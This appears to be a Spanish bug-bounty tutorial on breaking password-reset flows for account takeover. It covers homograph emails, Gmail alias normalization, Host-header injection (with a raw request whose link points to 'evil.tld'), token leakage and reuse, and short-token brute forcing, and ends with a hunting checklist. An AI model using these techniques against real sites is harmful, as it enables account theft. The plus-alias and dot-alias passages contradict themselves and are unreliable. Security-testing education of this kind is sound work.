Respuesta rápida
Password reset es el endpoint más auditado y aún así el más roto del bug bounty. La razón: cualquier "feature" del flow (case insensitivity, internationalization, alias support) crea collision space. Cuatro bypasses rentables: Puny code / IDN homograph (registrar víctima@gmail.com con cirílico → recibe el reset email), Host header injection (cambia el link del email para apuntar a tu dominio), email normalization (gmail dot/plus aliases tratados como distintos en register pero iguales en reset), token leakage (referer, response body, log). Bounties: €1.500-€12.000 con ATO chain.
El flow estándar y dónde rompe
1. User submits email → POST /auth/forgot { email }
2. Server busca user por email
3. Server genera token reset (random 32-128 chars)
4. Server guarda { userId, token, expiresAt } en DB
5. Server envía email con link: https://target.com/reset?token=XXX
6. User clica → GET /reset?token=XXX → form de nuevo password
7. POST /reset { token, newPassword } → password updated
Cada paso es atacable.
Puny code / IDN homograph attack
Unicode permite registrar victim@gmail.com con caracteres cirílicos que se ven idénticos al ojo humano pero son diferentes para el sistema. Combinado con email normalization downstream → ATO.
El truco
Las letras latinas y cirílicas comparten glifos:
| Latín | Cirílico | Punto código |
|---|---|---|
a | а | U+0061 vs U+0430 |
e | е | U+0065 vs U+0435 |
i | і | U+0069 vs U+0456 |
o | о | U+006F vs U+043E |
p | р | U+0070 vs U+0440 |
c | с | U+0063 vs U+0441 |
Escenario de exploit
- Víctima tiene cuenta
gorka@target.com. - Atacante registra cuenta con
gоrka@target.com(laоes cirílica U+043E). - Para registro pasa porque la app trata strings byte-exact → es un email "diferente".
- Atacante solicita password reset de la VÍCTIMA
gorka@target.com. - Si la app normaliza Unicode en el lookup (NFKC, Punycode lookup) pero no en el storage → encuentra al user atacante → manda email al atacante.
Variante: mailbox provider acepta ambos
Algunos mail providers (Gmail) rechazan caracteres cirílicos en mailbox local-part — pero ProtonMail, Yandex, custom domain mailservers a veces sí los aceptan.
gorka@yandex.com
gоrka@yandex.com ← cirílico, Yandex acepta ambos como mailboxes separados
Si target.com no normaliza pero el provider sí → atacante recibe correos de la víctima.
Detección
Test register con victim+a@target.com y victim+ɑ@target.com (latin alpha). ¿Acepta ambos como distintos? Si sí → posible chain.
Email normalization — Gmail dots and plus aliases
Gmail trata usuario@gmail.com == us.uario@gmail.com == usu.ar.io@gmail.com == usuario+anything@gmail.com. Casi nadie más lo hace.
Chain común
- Víctima registra
usuario@gmail.comen target.com. - Atacante registra
us.uario@gmail.comen target.com (Gmail entrega ambos a la misma inbox; target.com los trata como distintos). - Atacante solicita reset password de
usuario@gmail.com. - Email llega a
usuario@gmail.com(víctima). - Pero si la app normaliza al hacer reset (
u.s.uario→usuario) y el lookup encuentra al atacante → atacante recibe reset → ATO.
Plus aliases
usuario@gmail.com
usuario+atacante@gmail.com ← misma inbox para Gmail; misma cuenta para apps que normalizan
App que acepta plus alias en register pero lo strippea en reset → atacante registra usuario+evil@gmail.com, pide reset a usuario@gmail.com (sin alias), token va a la víctima... no, espera, va a la víctima. El bug real es al revés: registrar usuario+evil@gmail.com, pedir reset de usuario+evil@gmail.com (que está en tu inbox como usuario) → token llega a la víctima.
Más exacta: registra usuario+atacante@gmail.com → eres usuario para la app si normaliza → pides reset → email va a usuario+atacante@gmail.com (tu inbox) → ATO de la víctima usuario@gmail.com.
Host header injection
Quizás el bypass más viejo y aún más explotable. La app construye el link del reset usando el Host header del request:
const resetLink = `https://${req.headers.host}/reset?token=${token}`;
sendEmail(user.email, resetLink);
Atacante manda:
POST /auth/forgot HTTP/1.1
Host: evil.tld
Content-Type: application/json
{"email": "victim@target.com"}
Si el server confía en el Host header del request → email a víctima contiene:
Click here to reset: https://evil.tld/reset?token=XXX
Víctima clica → token va a evil.tld (en path o query) → atacante usa el token en target.com/reset → ATO.
Variantes
- X-Forwarded-Host:
X-Forwarded-Host: evil.tld— algunas frameworks priorizan este header. - Host: target.com:@evil.tld: parser confuso, algunos ven
target.com(legit), email construido conevil.tld. - Double Host header:
Host: target.com\r\nHost: evil.tld— algunos parsers leen el último, otros el primero.
Detección
Inspecciona el email que recibes con reset. ¿El dominio del link viene del input HTTP (Host header) o está hardcoded? Cambia Host y observa.
Token leakage
Via Referer
Si el link del email lleva a una página que carga assets de terceros (CDN, analytics, fonts), los terceros reciben Referer: target.com/reset?token=XXX.
Detección: visita el link de reset, captura todas las requests en Burp/DevTools → ¿alguna sale a otro dominio con Referer que incluye ?token=?
Fix correcto: Referrer-Policy: strict-origin en la página de reset.
Via response body
Algunos endpoints, en respuesta a la solicitud de reset (POST /forgot), incluyen el token:
{
"message": "Email sent",
"debug": {
"token": "XXX"
}
}
Endpoint dev olvidado en producción. Test con Burp Repeater.
Via logs / monitoring
Si la app loggea full URL en logs (Datadog, Sentry, custom logs) y los logs son accesibles vía vulnerable endpoint → exfil.
Via JS bundle
Algunos SPAs incluyen el token en window state al renderizar el reset page (hydration data). Si la página es indexada por crawler / cacheada / fugada por error → exfil.
Token reuse / not invalidated
Reuse tras uso
El token debería ser válido para una sola operación. Bug frecuente: tras usar el token, no se invalida. Atacante:
- Víctima resetea password con token X → OK.
- Atacante (si interceptó X via cualquier método) usa X otra vez → password reset otra vez.
Reuse tras login
Si la víctima loguea con nuevo password y luego solicita ANOTHER reset por error → el primer token sigue válido. Cualquiera con el primer token tiene acceso permanente.
Token no expira
Token válido por 24h es estándar — pero algunas apps no expiran nunca. Token leaked hace 6 meses sigue válido.
Response manipulation — el bypass tonto que funciona
Endpoint POST /reset retorna {"success": true} o {"success": false}. Frontend SPA redirige basándose en el success. Intercepta:
HTTP/1.1 400 Bad Request
{"success": false, "error": "Invalid token"}
← cambia a:
HTTP/1.1 200 OK
{"success": true}
→ Frontend redirige a "password changed", muestra login. Pero el password no se cambió en realidad. Bug no útil para ATO porque el password real no cambió.
Salvo que el endpoint /finalize-reset también esté roto: si reset completa la sesión + emite cookie de auth via response que también es manipulable → ATO.
Account linking / unverified email takeover
Algunas apps permiten password reset incluso si el email no está verificado (anti-pattern). Si la app permite cambiar email vía API:
- Atacante registra cuenta nueva.
- Cambia email a
victim@target.com(sin verificación). - Solicita password reset → email a
victim@target.com. - Víctima ve email "extraño" pero clica → reset el password del atacante (que ahora controla la cuenta linkeada a victim's email).
Variante: si target.com permite multiple emails por cuenta + verificación débil + reset por cualquier email asociado → reset por email atacante-controlado.
Hunting checklist
- Host header injection: cambia
Host/X-Forwarded-Hosty observa email recibido. - Puny code: registra
victim@target.comcon cirílico (NIST de homographs). - Gmail normalization: prueba
user@gmail.comvsu.ser@gmail.comvsuser+x@gmail.com. - Token en response body del POST /forgot — endpoint dev olvidado.
- Token en referer de assets externos en la página de reset.
- Token reuse: usa el mismo token 2 veces, ¿ambos pasan?
- Token expiration: deja token 24h+, ¿sigue válido?
- Email change without verify + reset → ATO chain.
- Response manipulation: status / body / cookie del endpoint final.
- Rate limit en /forgot: si no hay, brute force token de 4-6 dígitos.
- Token entropy: si el token es predecible (timestamp + userId) → forge.
- Documenta: el chain mínimo + impact (ATO definitivo vs window de horas).
Labs relacionados
Practica Host header injection, Puny code y normalization attacks en labs de password reset.
Practica esto en un lab
Password Reset
Sigue aprendiendo · cuenta gratis
Guarda tu progreso, desbloquea payloads avanzados y rankea tus flags.
Hay un payload extra al final
El bypass de password reset usando Unicode collisions en `i` cyrillic + Gmail normalization para tomar accounts ajenas sin nunca tocar su email real.
5 €/mes · cancela cuando quieras
Artículos relacionados
0-click Account Takeover — OTP brute force + Email Normalization
Dos fallos por separado parecen menores. Juntos, te dan ATO completo conociendo solo el email. Bounty real: €560 y 12 minutos de explotación.
CSRF (Cross-Site Request Forgery) — explicado completo con bypasses
CSRF: cómo se explota, defensas comunes (tokens, SameSite, Origin), bypasses (method change, JSON, double-submit, content-type) y dónde buscarlo en cualquier app.
JWT — vulnerabilidades, bypasses y manipulación de claims
alg=none, RS256→HS256 confusion, kid SQLi/path traversal, jku spoofing, secret cracking con hashcat. Cómo cazar JWTs mal verificados.